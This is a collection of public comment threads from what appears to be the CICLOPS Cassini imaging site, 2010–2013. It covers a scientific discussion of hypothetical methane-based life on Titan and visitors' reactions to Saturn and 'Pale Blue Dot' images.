Visually though, from space one sees the Amazon rainforest canopy without seeing any of the animals in it. Plant life will be far more evident than animal life.
Colin Robinson      
06-14-2010  20:49:34

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Chris. Thanks for your reponse! Yes, I enjoy the thought of life on Titan also. Are the findings about hydrogen, acetylene and ethane the chemical footprints of life? At any rate, it would seem more likely that the carbon cycle depends on an organic catalyst rather than a metal one, given that Titan's surface (unlike that of Mars) is rich in organics rather than in compounds of metals. Have you considered that the answer might lie between the non-biological explanation and the biological one? Is it conceivable, for instance, that there are systems of catalytic molecules which are carbon-based without being enzymes, and those systems can maintain themselves and observably affect their environment without necessarily having all the bells and whistles of a living cell? -Colin
cmckay      
06-14-2010  19:11:13

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Craig, the analogy with Earth and oxygen is probably better done with heterotrophs (animals) rather than phototrophs (plants). The hypothetical life on Titan is eating organic material produced by sunlight but not by "plants" but by sunlight driven chemical reactions in the upper atmosphere that produce organics. For them its manna from heaven. Chris


JimRinX, the idea of creating a simulation chamber and seeing if life can be coaxed to come forth is an appealing one. The problem is that we have been trying this on Earth like life since the Miller-Urey experiment more than 50 years ago and so far at least, no joy. -Chris

NeKto, my intuition is the same as yours as to the tempo of life on Titan - the slow lane. However I would bet against any multicellular life. The energy yield is too low. Although we make the comparison with O2 and organics, the energy yield from H2 and organics is much lower. -Chris

Colin Robinson, indeed! one of the reasons Titan is so interesting is that it has cycles the remind us of Earth: Wind, clouds, storms, and rain, seasons, dunes, lakes, etc. The carbon cycle of the atmosphere and surface are also evidence of the activity of this place. These cycles and Earth-like processes are indeed fascination. But I do enjoy the thought that the most fascinating cycle of all - life - may be operating there as well. -Chris
Colin Robinson      
06-14-2010  02:57:03

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To Chris McKay: I can understand the note of caution in your article... But it does look like you and your colleagues have found something that is indeed (as you put it) "extremely interesting"... Even if the explanation isn't a population of organisms... Levels of ethane, acetylene, as well as hydrogen all seem to imply that Titan's carbon chemistry is not a one-way street (compounds forming in the atmosphere, sinking to the ground and accumulating there), but a true carbon cycle. This in a world that also has a liquid cycle of evaporation and precipitation... Isn't a carbon cycle important in itself? Which other place in the solar system has a liquid cycle plus a carbon cycle?
NeKto      
06-12-2010  18:12:39

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This is a fascinating discussion!
For the sake of argument let us presume a case where there is some form of life on Titan. No mater what the specifics of the biochemistry involved, there is a very high probability the reactions will be exponentially slower than biochemical reactions at temperatures found on Earth. Therefore, i hypothesize any life on Titan will have had exponentially fewer generations to evolve than it's terrestrial counterparts.
If there is life on Titan, i strongly suspect it will be far more primitive than life on earth. The most likely form my imagination conjures up is something analogous to a cryogenic slime mold, but i wouldn't rule out something as complex as a trilobite.
it will be fascinating to see where the data leads in this investigation.
Ya gatta love those great little robots out there! they have sent us data that has led to some of the best and most interesting science in centuries.
JimRinX      
06-12-2010  09:40:00

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What we need to do here is experiment - thinking like the guy who detected the xtremophiles in the south african gold ore vein, by constructing a box that would maintain the (deadly - at least for US) conditions within said vein, after he'd collected them and taken them back to the lab.
If there is some kind of life on Titan, than things are looking up for panspermia; and it may be that more than just Earth-type life (archea; with, say, polychaeate methane-hydrite worms being a 'first animal' evolutionary spin off) is transported about by comets and asteroids.
Thus, we should create a chamber that recreates Titan - or even Europa (all those things growing in Antarctic Ice - not to mention Chlathates!), and then 'innoculate' it with material from, say, a 'pristene' Antarctic Chondrite - or even some 'Stardust' Dust; then see what happens.
It's also interesting to note that Metabolism, in Bacteria, has been proven to occur - 80C.; that, at those temps, a few water molecules, in small pockets, remain unbound to the crystalline latice (they stay 'liquid') - possibly accounting for the former; and that an animal life form was recently dredged up from one of the Mediteraneans Deep ANOXIC Zones.
It had eggs...it was clearly alive....it did NOT, somehow, need Oxygen to have more than one cell......etc..
Craig      
06-11-2010  21:56:23

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If the H2 is analogous to CO2 rather than O2, then vegetation taking it up could explain its absorption at the surface pretty nicely.

On the other hand, it would seem H2, like O2, will easily react to release energy, whereas normal (unstretched) CO2 is usually an 'end product' of reactions, hard to react further to get energy out of. On Titan I expect that 'end product' would be methane(?):

C + O2 -> CO2 (solid on Titan)
C + 2H2 -> CH4 (liquid)

In the absence of another energy gas on Titan, I'm expecting H2 would be analogous to O2, though it may be there's no direct parallel - H2 appears to be being absorbed rather than produced (by plants) at the surface judging by the findings.
robin      
06-10-2010  16:21:08

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Just for context, the abundance of CO2 in the Earth's atmosphere -an essential fuel for photosynthesis- is only 0.04%, so 0.1% is not so bad. Also, large creatures did not emerge on Earth till Oxygen levels had risen substantially and there has been speculation that those are related, that big creatures need rich concentrations of energy whereas microbial life can eke out a living with less. Partly for this reason, though I'm hoping for microbes (being a microbiologist myself), I would bet against Titanian Kraken swimming the depths of Kraken Mare, the Methane Sea near Titan's North Pole.
Craig      
06-10-2010  13:17:36

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Thanks Chris,

That explains all!

0.1% is a lot less than 20+% O2 on Earth, but it seems the best bet on Titan for a breathing/energizing gas as far as I've seen.

Craig
cmckay      
06-10-2010  12:14:17

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Craig, the GCMS team had difficulty extracting the H2 from the data because H2 was used a the carrier gas in the GC (gas chormatograph). The expected value from remote sensing for H2 in the lower atmosphere of Titan is 0.1%. Recently the PI of the GCMS, Hasso Niemann, presented some preliminary results of the H2 and the concentration appeared to agree with this value. -Chris
Craig      
06-10-2010  09:40:30

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In the 2005 article "The abundances of constituents of Titan's atmosphere from the GCMS instrument on the Huygens probe", I was puzzled to see no mention of H2 actually being present in the atmosphere, given previous estimates of 0.5% and feeling it was likely to be biologically important, perhaps a breathing gas. It was indirectly implied, but I was left with the impression it must be pretty insignificant.

Just how much H2 was actually found, say, near the surface and at a given altitude or two? PPB? PPM? whole %s?

Craig Carmichael ("Living Titan" website)
robin      
06-09-2010  10:00:03

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Just as an aside, I came to this list through an odd route. A physicist-songwriter friend of mine goaded me into promising to write a song back in February. As an old chem major, I'd been interested in Titan for a long time, and had been following the news about the proposed Titan Mare Explorer mission to "sail" one of the moon's methane seas. Lacking any other ideas, I decided to write a sea-chanty set on Titan. After I finished it, I thought maybe some real Titan-ologists would get a kick out of it, so I sent it to Carolyn Porco, who wrote back to say she enjoyed it and put me on the ciclops mailing list (which I hadn't known about). In the process of finding her contact information, I looked up her published papers, and from the author list realized that when I was an undergrad studying chemistry at Caltech, she was a grad student modeling planetary rings and her thesis advisor was the RA for my student house! (I remember him talking about the work, but did not remember the name of the grad student doing it). Small world. (Just in case anyone is interested, the song is "The Shoals of Kraken Mare" and is up on YouTube: http://www.youtube.com/watch?v=AaWg7Wm-IwM ) But back to my first comment: many thanks to Drs. McKay and Porco for doing this and please keep it up!
robin      
06-09-2010  09:41:01

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One of the (many) things that makes Titan so interesting for pre-biotic chemistry is that it is so heterogeneous in terms of chemical environments, where lots of interesting molecules can arise. There will be non-thermal photochemistry at the top of the atmosphere (to a first approximation temperature-independent), high-temperature aqueous-phase chemistry deep underground (assuming theories about subsurface liquid water are correct), and mineral-catalyzed reactions at the base of methane lakes and pools undergoing repeated cycles of flooding and drying (and that's just a start!). As long as there is even a little mixing between these environments (and a lot of time) there will be a lot of opportunity for very complex molecules to arise. Since we only have an N of 1 (life on Earth) we just don't really know how hard it is to get from there to the autocatalytic "hypercycles" of molecules where selection can start to work and climb the complexity ladder up toward life, but Titan will be a good test case. One further interesting twist is that if there are water/ammonia cryovolcanoes (as has been hypothesized), the environment in an around them may be well within the temperature, pressure, and chemical composition where some Earth extremophiles could live -sort of a Titanian twist on the deep vents of Earth's oceans.
cmckay      
06-09-2010  09:09:24

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sobrien60, this is a very good point. The reaction rate issue does come into play when considering prebiotic evolution that leads to the first life form. It would be good if we really understood how life did arise even for the case on Earth.
sobrien60      
06-09-2010  08:00:52

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The problem is there is no evolutionary path to get to your enzyme catalyzed ecosystem. Enzymes don't appear out of nowhere, they evolve by chemical reactions. If you step back to earlier and earlier epochs you reach a point where the evolutionary path is dominated by non-catalyzed chemical reactions with typical pre-exponential factors and at 90K those reactions are turned off.
cmckay      
06-08-2010  19:35:41

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Jon, more on benzene in reply to your questions. There are three points that are relevant. 1) Benzene was detected in the upper atmosphere at ~1000 km elevation as Cassini flew through Titan's atmosphere. The concentration was about 2 parts per million as determined by Waite et al. 2007. 2) Benzene was detected in the vapor produced when the inlet of the probe was pressed against the ground after landing. I am not aware of any published quantitative values but it could also be at the ppm level. The third point is a calculation we did that showed if you take the solid organic material produced in Titan's atmosphere and isolate it and bring it to full thermochemical equilibrium what you get is benzene and N2 gas. However it may be a bit missleading to think of benzene as a chemical dead end. As robin pointed out in the first message, aromatic compounds at the top of the atmosphere are interesting and these almost certainly come from benzene.
cmckay      
06-08-2010  19:25:57

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Jon, robin and sobrien60,

robin's explanation is exactly how I think of it. If there chemical potential energy that is not released due to slow rates or barriers then life can make use of this by catalyzing the reaction.

-Chris McKay
jonk      
06-08-2010  17:51:28

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to robin: I'm not a chemist, but your point about catalyzed reactions makes immediate, clear sense in dealing with sobrien60's objection. Thanks.

to mckay: I'm not entirely sure I understand your response about benzene. What I gather from robin's question is the idea that benzene may be the eventual trash heap of carbon, making it permanently inaccessible afterwards. While you seem to agree with this assessment about benzene, your point about its creation high in the atmosphere and presence on the surface doesn't discuss __quantities__ in both spheres relative to each other and relative to the larger situation as well and I think that is very important. Could you expand a little? Thanks.

Jon
robin      
06-08-2010  14:50:14

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Putting on my biochemist's hat, I think sobrien60 is missing the point McKay is making. _Un-catalyzed_ reaction rates drop with temperature, but that says nothing about what enzyme-catalyzed reaction rates might be. This is limited only by how far they might be able to lower the free energy of the transition states. The lower than predicted levels of acetylene and _maybe_ hydrogen _might_ imply that something is catalyzing an energy-producing reaction between them. Also, one shouldn't discount the potential for kinds of chemistry that is _too_ reactive for Earth biology but might work in colder climes: boron chemistry, fluorine chemistry, free-radicals, etc. Finally, there is photochemistry at the top of the atmosphere and thermal chemistry deep under the surface that will gradually mix into the surface chemistry. The point of the hypothesis (as far as I understand it) was exactly that anomalous patterns that wouldn't make sense in terms of ordinary chemical thermodynamics might actually be a clue indicating the presence of biological chemistry in the way that Sagan proposed that simultaneous presence of Methane and Oxygen in an atmosphere would be a telltale sign of life.
sobrien60      
06-08-2010  14:14:59

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Chemical reaction rates drop by roughly 2x for every 10 degrees of cooling. Dropping from room temp (near 300 K) to the surface temp of Titan (90 K) would drop chemical reaction rates by roughly 2^21 or over a factor of 2 million. Arrhenius rates would drop even more dramatically. Chemical reactions used by life forms would be essentially turned off by this cold environment. Life could survive in hibernation mode, but it certainly could not thrive and reproduce.
carolyn      
06-08-2010  14:05:48

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dholmes: Well, to be fair, the imaging system says nothing about the kind of chemistry that is at the heart of these inferences. This latest output was the work of others, and not mine. But I'm certainly an enthusiastic cheerleader!
dholmes      
06-08-2010  12:27:58

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Tp further comment on possible methane life forms maybe they are like earth's prolific worms like the ones that live near hydrothermal vents in the ocean at temperatures that can exceed 100 degrees Celsius (212 degrees Fahrenheit), or worms living in ice on Alaskan glaciers at zero degrees Celsius (32 degrees Fahrenheit). In other words life seems to adapt, a fact that may be to the extreme on Titan. It is nice however that the strongest possibility of life yet so far found has come to us through Carolyn's work with Cassini.

dholmes      
06-08-2010  05:40:43

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In answer to rdstancy, to my knowledge no, but an excellent idea all the same. But what life are we talking about, microbial or more complex?
cmckay      
06-07-2010  22:38:16

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to: rdstacy. Any methane life studied on Earth?
No All life forms studied on Earth require liquid water to grow or reproduce. There are organisms that eat methane and others that produce methane but Earth is too warm for there to be any naturally occurring liquid methane.

to: illexsqui. The variations used by Strobel. Strobel did a good job of considering a variety of possibilities especially with respect to chemistry. He even showed under what conditions the flux he was postulating would not be present - that would be the case if the concentration of hydrogen at the surface was twice what we currently think, about 0.2% instead of 0.1%. I emailed a colleague who is an expert on this measurement to ask him if its possible.
next step: confirm the hydrogen conclusion and Cassini may help here, then go to Titan and get more data with something that flys, swims, or lands.

to: robin. benzene? Yes indeed Benzene is a mystery player in Titan atmosphere and on its surface. It is formed high in the atmosphere - to our surprise, and it was found in the surface - again to our surprise. It is also the thermodynamically stable end form for the solid organic produced in the atmosphere.

to: billclawson. DNA? Unlikely that non-water-based life would use DNA as its genetic material. DNA would probably unwind in a non-polar solvent like liquid methane.

billclawson      
06-07-2010  16:38:34

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Fascinating idea. So if the measurements aren't a mistake and there is life on Titan, it's certainly well outside of the "life as we know it" norm. What sort of "DNA" might such a life-form carry?
robin      
06-07-2010  14:30:52

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Thanks for the article. Great stuff. As a scientist, I find most news articles frustratingly vague (or wrong!) about what the data really are and what they mean. Especially appreciate the citations. As an old organic chem major, I've been interested in Titan chemistry for a long time. Quick question: Aside from Methane itself, the one organic molecule I've seen cited as present in much _higher_ than expected abundances on Titan is benzene. Might this be another biomarker, since methane organisms could not get energy by reducing it with H2 (since it is so stable from resonance effects)? That is, in a methane ecology would there be an excess of carbon atoms that eventually end up in a benzene dead-end? (As an aside, I think aromatic compounds will be very interesting on Titan with antiaromatic-transition-state-preferring photochemistry at the top of the atmosphere, aromatic-transition-state-preferring thermal chemistry deep underground, and slow cycling of carbon atoms between them.)
illexsquid      
06-07-2010  13:23:18

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The clarity and measured optimism of this article are a voice of reason that needs to be heard. It is unfortunate that an interesting new finding gets so obscured by the time it passes through the filter of the mainstream media. Honestly, do "science reporters" these days have to know even basic high school science?

Not having seen the Strobel paper, the thing I was left wondering is this: how much variability in the paramaters of their model did they allow, and how did this affect the resultant expectation of hydrogen flux? Presumably, his team ran more than one simulation, and was able to come up with some determination of how sensitive the model is to varying conditions.

Also, presuming this result holds, what is the "next step"? Does Cassini have any more instruments that can bolster or refute this claim? Or do we have to wait for the promised Titan balloon mission?
rdstacy      
06-07-2010  12:29:09

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Has a methane-based biological system ever been studied in the laboratory on earth at Titan's temperature ?

The Day the Earth Smiled
Red_dragon      
11-12-2013  15:34:57

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Greetings again.

You know, me thought it was difficult after so many great images you'd be able to cause a jaw-dropping, but you've caused that twice in the last weeks: first with that amazing view of Saturn seen from above and last with this kind encore of "In Saturn's Shadow".

Keep this stuff coming... we'll miss it within four years.

In Saturn's Shadow - the Pale Blue Dot
sustayne      
11-12-2013  11:04:32

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Maybe Saturn got all the looks, but we got the air and water. Na Naa na Boo Boo!

One Special Day in the Life of Planet Earth
sustayne      
11-12-2013  10:59:40

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Why be kind to another? We are all we have. See for yourself.
NeKto      
07-23-2013  15:33:55

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on the same day Cassini took this image, its cousin Messenger took an image of us from its orbit around Mercury. (see A.P.O.D. for 2013 July 23)
what a time we live in.

Solar System Portrait - Earth as 'Pale Blue Dot'
sustayne      
11-12-2013  10:55:08

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No wonder we feel so alone.

The Day the Earth Smiled: Sneak Preview
ishmael1013      
11-10-2013  12:13:19

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Hi
Just wondering why this picture is titled "sneak preview" is another image yet to come?
Thanks
dabunting      
07-24-2013  21:55:22

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Always exuberant:

Great accomplishment! Love it!

Dave
thestarguide      
07-23-2013  08:33:54

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Really awesome images, and I know there are more to come. Thanks for reminding us of how beautiful and precious our little planet is to everything we know, and have ever experienced. I'll be sharing the images at Star Tours this weekend while I share the sonnet I wrote for the smile!

Sonnet to the Earth

How the wonder does thou feel from afar
Down gravity's path round sol our near star
A cradle orbits carrying within
Earth's offering of fertile wonderland
But how the better breeze from water flows
The life above the ocean waves does know
To build and craft a sail uncoils, outward
Literally the breath of life it sends
Aids in its journey outward Saturn bound
To where a pause, a second look, taken
A new eye of lifes creation shares us
Like one voyager glancing back to say
As an echoed human voice bids Goodbye
Oh, fair earth be staid, be peaceful, be kind.

Tb0613
libbydaddy      
07-23-2013  08:09:16

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You've got to really zoom in here on the Earth/Moon system to see Luna's bump but it is there and the picture resolution can handle the zooming very well. Nice job everyone! This has been some voyage in pictures you've taken us on, Cap'n.

And it's not done yet...
Merry      
07-23-2013  05:36:31

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btw, thanks to the all the team and you Capt Carolyn. :)
Merry      
07-23-2013  05:31:28

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Spectacular! Breathtaking!! Just one question, why is the "sky" blue rather than black? It shows how small we are in the scheme of things, and that "we are" is a miracle.

Stormy North
Pyroaniah      
10-31-2013  00:22:25

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I have 2 questions. If the cymatic shape on a flat plane corresponds to 3 (+time) dimensional propagation of waves, and the hexagonal shape suggests a toroidally shaped dark energy vortex, than the vortex itself is rather a multidimensional gate or just an antenna?
Where is it pointed at or ends in our realm and on the other side?
Cassiopeian      
08-12-2013  10:11:54

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Dumb comments on Youtube are rarely amusing but this one made me smile : " The ancient inhabitants of Saturn built a hexagonal wall, long ago , to keep the vortex locked to the pole , so as to stop it from destroying their cities ."
NeKto      
08-09-2013  23:16:05

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are there any hypotheses about why the hexagon remains hexagonal that hold any water?
every time i see images i wonder what the heck is going on up there.

Bird's Eye View of the Land of Lakes
NeKto      
10-25-2013  05:23:51

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i often miss things so the obvious impact craters elude me. i do see circular structures that i presume are chryo-volcanic in origin. to my eye, they appear to resemble doughnut shaped mounds. not a central peak, a central depression. i might be perceiving them in reverse, but i don't see how an impactor could get through that much atmosphere. even if i am seeing them wrong way out, they still don't look like typical impact craters to me. is there anything in the data set that confirms they are depressions or elevations?
Mercury_3488      
10-23-2013  17:12:40

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Very Interesting.

What is obvious are the number of impact craters, at least three with central peaks.

This area looks more like the Jupiter moon Callisto, Saturn moon Rhea or Uranus moon Umbriel, with liquid hydrocarbons filling some of the colder hollows and craters. Will be interesting to see some more recent SAR imagery of this area.

Andrew R Brown.

Cassini Sights Titan's Northern Land of Lakes
Charles Isbell      
10-24-2013  10:20:37

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The more of these photo's and descriptions from you that I see, the more I understand
(at least partly) and appreciate all of your works and efforts. Thanks for a job well
done and getting better.
Charles Isbell
Irving, TX
A Day To Celebrate the Pale Blue Dot
graurog2      
10-23-2013  22:23:25

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On the dry lakes, salt flats, most recent image, I, being a landscape painter see signs of intelligent planting of rows of trees ( or digging of lakes?). Locate by starting at high point of globe, track down on 7 o-clock heading, approx 16 cm. There is the appearance of a squareish field with numerous dark shapes that appear to be geometriclly oriented on a 45 degree, l to r, slanted upward. All artists see things but this seems so apparently obvious I had to mention it.
Troubled Tribble      
10-23-2013  17:52:51

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The more I see of Titan, the more amazing it becomes. The thing I like the most is the vast distance between Titan and Earth. Titan will remain in it's current state for eons. Except for the occasional visit from a Huygens type probe. Can you imagine what would happen if BP could send tankers there? Perish the thought.
RWBoatwright      
10-05-2013  17:25:49

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Hi there! I just joined and find this such a great site with some amazing images. Thank you Carolyn!
martin young      
07-28-2013  23:43:47

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Carolyn, you are a poet at heart....a true follower of Carl Sagan. Thank you.
PiperPilot      
07-22-2013  17:21:45

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Carolyn I know I was a bit early....but ya gotta do that to get the best seat in the house! I believe it paid off as I can see a slight bit of orange from my shirt in the photos! Which I must say are beautiful!
Goatraslasierra      
06-23-2013  10:59:02

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70 min befora +- ;o)
carolyn      
06-22-2013  14:10:45

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Folks: We are planning 6 weeks to process the big mosaic -- w/ Saturn, rings and Earth -- but hopefully only a few days to do the high res Earth/Moon pic. And only that if we did a good job of determining exposure times. Those pics may need a lot of processing too. Fingers crossed that all goes well!
carolyn      
06-22-2013  14:10:37

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Folks: We are planning 6 weeks to process the big mosaic -- w/ Saturn, rings and Earth -- but hopefully only a few days to do the high res Earth/Moon pic. And only that if we did a good job of determining exposure times. Those pics may need a lot of processing too. Fingers crossed that all goes well!
beehive      
06-21-2013  18:34:45

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I'm going to make sure I'm in one of my most favorite places on earth. Rancho San Antonio openspace preserve. Thanks for sharing this.
dholmes      
06-21-2013  06:26:16

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I am personally looking forward to July 19th. Back in 1990 when Carl Sagan requested Voyager 1's camera to photograph Earth. Our "pale blue dot" as it were, only measured 0.12 pixel in size aganist the vast backdrop of space. This was of course just to show how truly small we are in relation to the basic infinitude of space. This time, however, what we will see is our celestial home in relation to our neighbor Saturn. Thus Earth will be visibily more relevant in size as well as aesthetically pleasing to look at...and beyond. Thanks Carolyn for the heads up.
dholmes      
06-21-2013  06:25:53

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I am personally looking forward to July 19th. Back in 1990 when Carl Sagan requested Voyager 1's camera to photograph Earth. Our "pale blue dot" as it were, only measured 0.12 pixel in size aganist the vast backdrop of space. This was of course just to show how truly small we are in relation to the basic infinitude of space. This time, however, what we will see is our celestial home in relation to our neighbor Saturn. Thus Earth will be visibily more relevant in size as well as aesthetically pleasing to look at...and beyond. Thanks Carolyn for the heads up.
TelestoMan      
06-20-2013  10:08:04

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p.s. sorry for the spelling error ;-)
TelestoMan      
06-20-2013  10:07:16

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Hi Caroloyn, Just joined you here (it's @eric_right_now). I just noticed a @DayEarthSmiled Twitter account - is that yours? Cheerful congrats on Richard Branson's interest! I continue to work on NYC possibilities for you on July 19.
carolyn      
06-20-2013  09:22:48

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PiperPilot: I think you are confused. It's a month away! JULY 19.
PiperPilot      
06-19-2013  20:56:35

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Hey Carolyn, I wore my bright orange shirt, so you can find me easily. Hope the pics turn out!

Cool Shadow
blbnnn      
10-09-2013  15:00:09

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Wow! All the images on this site are incredible and I always love seeing the contrast of the rings against the background of space. But with that imposing shadow and the stars, this one is particularly impressive to me! Wow (again)!

Rings and Waves
NeKto      
10-04-2013  07:39:55

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you folks on the team have got to love coming to work.

By the Pale Saturn-light
NeKto      
09-25-2013  08:10:07

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another great shot. my compliments to whoever came up with the idea and whoever came up with the execution. well thought out and well done.

Arc Across the Heavens
NeKto      
09-09-2013  09:11:40

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amazing how a collection of ice and rubble can be so photogenic.

Titan's Fancy Collar
NeKto      
08-29-2013  07:48:35

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with that much atmosphere, strange stuff can be commonplace.

A Very Special Day in the Life of Planet Earth
Mercury_3488      
08-08-2013  14:26:45

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Hi Carolyn, did Cassini capture Mars too to the upper left of the rings 01:00 HRS UTC on Saturday 20th July 2013????

Image: W00083050.

Anyway, what a great set of observations alomg with those from Mercury orbit by the MESSENGER spacecraft on the same day !!!!!!!

Andrew R Brown.
carolyn      
07-26-2013  09:16:19

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Everyone: SO happy to see your comments and know you were as moved as I was by this event. It was indeed a new triumph for our planet and its intrepid inhabitants.
pizwiz      
07-24-2013  07:01:32

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Whenever my head gets a little swelled with self-importance, one look at this image will immediately remind me of our importance in the Universe.
rheininger      
07-23-2013  13:58:58

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What a show! I am very happy, I live in a blue dot in the middle of the infinite universe! Wow! Now, I am waiting for a Earth's photo from the Mars surface and ,perhaps, from the Pluto...! Congratulations Carolyn!
dholmes      
07-23-2013  06:46:11

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A true triumph for our planet. Does this not take our breath away as well as inspire us to go forth and explore more of "what's out there"?

A Day to Celebrate the Pale Blue Dot
NeKto      
07-22-2013  04:40:06

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just saw the unprocessed image on APOD. fascinating! (but i think my photon missed the camera lens)
NeKto      
07-19-2013  16:23:02

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i just got back in a little while ago. i have a red/orange T shirt on, so the 3.97528 X 10 to the 77th (or thereabouts) red photon from the north pole should be me.
Louise Sharples      
07-19-2013  16:16:25

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OK, have just returned from pointing my flashlight at Saturn (I'm in the UK - on the night-side). My arms are tired, my hair is full of midges, and I'm thirsty. In order words, I had a great bonding session with Cassini. :-) Hope my 2-watt LED flashlight didn't exceed ISS-NAC's brightness limits. ;-)

Lou. xx
NeKto      
07-19-2013  07:47:33

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i'm ready.
carolyn      
07-03-2013  14:30:19

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sandrock and others: sandrock's remarks here are incorect. The Light Travel Time has already been accounted for. So go out and smile AT THE STATED TIME, shifted of course for your time zone.
NeKto      
07-03-2013  05:41:39

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first time i saw the date i thought i saw July 20 1913. it was obvious that couldn't be right. that is a lot farther off than the folks who misread the month. Dyslexia has its moments.
sandrock      
06-28-2013  01:10:49

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DEChengst, a rough guess at the time it will take light to travel between the earth and saturn is about 80 minutes, so you'll have wave to Cassini about 80 minutes before the picture is taken (about 13:07 Pacfic daylight time), and you'll need to wave for 15 minutes while the series of pictures are taken ;-)
DEChengst      
06-23-2013  05:36:52

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*polishes glasses* WHOOPS! I'll be a good boy and drink a nice beer in honor of Cassini and the imaging team while the images are being taken.
hank      
06-21-2013  18:45:43

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Blush.

July, not June.

Off by a month. Thanks for the correction, Dr. Porco.
DEChengst      
06-20-2013  13:22:23

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Downloading shouldn't be too long. I guess today or maybe tomorrow. For the individual frames you can check the raw images website:

http://saturn.jpl.nasa.gov/photos/raw/

On processing no idea really. Could be quite some time. They need to have the time to
do it right, write a press release, okay it and put it out there. I expect amateurs to beat them to it as those only need to produce something that's aesthetically pleasing and don't have to care about being scientificly accurate. For those I would watch the Planetary Society's website:

http://www.planetary.org/blogs/
hank      
06-20-2013  12:49:27

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How long for the downloading and processing, if the attempt to capture the images is (was) successful? Do we know yet if it worked?
DEChengst      
06-20-2013  10:41:48

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ARGH. Just realized my brain is out off sync by a day and I missed her :/
DEChengst      
06-20-2013  10:37:45

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Given the time delay of light what time should I wave at her ?
wmdewease      
07-08-2011  10:35:05

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Phoebe looks like target practice for the solar system. Looking at the various pictures and by observation, it appears that the craters begin to "fill in" faster than other craters on other moons in the solar system. Am I imagining this or is there something to what I see?

The Rose
sustayne      
06-18-2013  14:23:47

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I like to imagine what an ET field trip would be like. Just think of hopping aboard the school's 3,000-seat shuttle with my imaging device tucked away in my "Is there Life on Earth?" lunchbox along with a 2,ooo calorie Spicy Jumbo Jupiter burger ( red spot connotes chipotle flavor) and Saturn rings.
We whiz through a gap in the rings of Saturn as we head up to dive into the clouds of the North Pole there. Faaaaantaastic! Don't want to leave such a beautiful place, yet there is so much to see just around this one planet that we'll be here for days.
libbydaddy      
05-25-2013  05:29:48

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I agree. At the same time it dwarfs me it fills me up. Feeling ephemeral and tiny then complete and powerful. Enigmatic how God's creation, from the smallest to the largest, fulfills in it's fractal majesty.

Creative imaging for Mother's day - nice touch.

It seems that the scale would indicate that we're looking far deeper than 16K into the atmosphere. Just how far down can we see into the atmosphere (anywhere on Saturn)?
NeKto      
05-19-2013  16:39:23

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clouds on this planet exist between sea level and 16 kilometers. Saturn's cloud banks have to be a lot taller that 16 km.
NeKto      
05-11-2013  09:04:37

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even when i have a terrible week, like the one i just had, coming to this site and looking at the breath taking images helps. the technology we have that lets us see these vistas, and the remarkable skill of the team that brings them to us is mind boggling. in the grand scheme of things Saturn is one of our closest neighbors. yet so much was hidden from us until we sent our remote eyes and ears out there. contemplating the detail of this huge vortex makes a really bad day better for me.

The Red Rose Of Saturn
roysykes      
06-06-2013  22:33:33

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Lovely images.

Do we yet know the reason for the hexagonal
outer structure at Saturn's north polar region?
gloetzel      
04-29-2013  18:09:55

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WOW!!! WOW!!! Words can not express the beauty from these Cassini views of Saturn.

North Polar Movie
libbydaddy      
05-25-2013  05:38:38

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Amazing movies - that took some skill and work (great craftsmanship as always). Could any heat differentials cause a hurricane? What are the known or theorized thermal parameters for various depths at the top of Saturn's atmosphere? How hot is it believed to be at the core. Would this unusual hexagonal jet stream have something to do with the Saturicane (sorry...) and it's seeming permanence?

Summer is Coming!
stuart.holtby      
05-21-2013  21:22:08

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1. Has anyone sorted out why the hexagon persists? and are there any similar features on other gas giants?
2. How far ahead is Cassini's orbit plotted? and how (and how often) is an adjustment made to the trajectory? It is mostly empty space, but it must be an amazingly complex calculation to make sure you don't hit anything, yet still swing close to your targets.

A Splendor Seldom Seen
NeKto      
05-14-2013  09:12:54

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it just makes me feel better.
sustayne      
03-12-2013  08:19:38

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This image alone stands as absolute proof that we have not yet developed a vocabulary which accurately conveys that which is sublimely pristine on many levels. And to think, there are those among us who get the privilege of seeing this not through mechanical eyes. Yes, life is unfair.
Seryddwr      
12-23-2012  18:02:34

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Astounding!
CheshireCat      
12-20-2012  12:00:24

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thefuz:
Those are stars. There are actually 9 stars theoretically visible if you stretch the image and search hard enough, but they're awfully faint.

hank:
I don't have the exact amount of motion blur available, but the hand-wavey answer is: not much. At least, not for a given exposure. Each exposure lasts for around a second (some less, some for a a bit more). In that time, the spacecraft doesn't move a lot as far as its view of distant objects like Saturn and the moons are concerned. (My quick calculation says perhaps a few tenths of a pixel for the longest exposures. For most exposures, much less than that.) On the other hand, this mosaic is made up of many exposures and in the total time it took to take all of the images, there was distinct movement of both spacecraft and moons.
thefuz      
12-19-2012  12:15:26

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Can anyone identify the other bodies in the picture? There are a few other dots that resemble Tethys and Enceladus in color.
- Immediately to the right of Enceladus
- Immediately to the left of the outer ring near the vertical midpoint of the ring structure
- In the middle of the open space in the upper right quadrant of the image
What an awesome photo - thanks Cassini (team)!
hank      
12-19-2012  10:39:33

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Question -- how much motion blur is in the image? The caption identifies the pixel area, but how much motion is there -- across/inside each pixel for the exposure taken?
jsc248      
12-19-2012  06:17:23

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I wish my old friend Patrick Moore could have seen this image, he would have been spellbound by it, as I am.
Merry Christmas and a Happy New Year to Carolyn and the team at CICLOPS and to all alliance members to!!
martin young      
12-19-2012  05:23:54

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Stunning clarity, I wish Carl Sagan could have seen this. You have excelled yourselves again Ciclops!
toomanytribbles      
12-19-2012  02:35:48

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a thrilling picture. it made my day.
thank you, ciclops team!
Red_dragon      
12-19-2012  02:16:53

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In Saturn's Shadow returns. Simply put, jaw-dropping. Excellent work, CICLOPS!.

Bright Vortex
nnystarman      
05-05-2013  09:43:57

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Beautiful! The swirl of gas on Saturn reminds me of Jupiter's red spot.

Enceladus 'Rev 141' Raw Preview #3
nnystarman      
05-05-2013  09:31:13

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Enceladus looks wonderful against the rings background!
Red_dragon      
12-18-2010  06:30:24

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I lost this one. Awesome Kodak Moment.
mipsandbips      
12-10-2010  19:35:35

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Award winning? This image gets my vote.
A Splendor Seldom Seen
Masud.bd      
05-02-2013  11:00:47

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I am very proud .because i seeing real picture of saturn.so i hope this image spread all over the world.
carolyn      
05-01-2013  10:00:12

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chiptaker761: Funny you should ask this because soon after your comment we posted this image -- http://www.ciclops.org/view.php?id=7536 -- which does show stars. For bright objects in the Saturn system, exposure times are generally too short to see anything but the brightest stars. But take a look at this very long exposure of Iapetus ... http://www.ciclops.org/view.php?id=708 ... LOTS of stars visible in this one. Lesson: solar system objects, of which you've seen lots of images, are generally bright enough and exposure times short enough that stars don't cross detection threshold.
chiptaker761      
04-18-2013  13:42:02

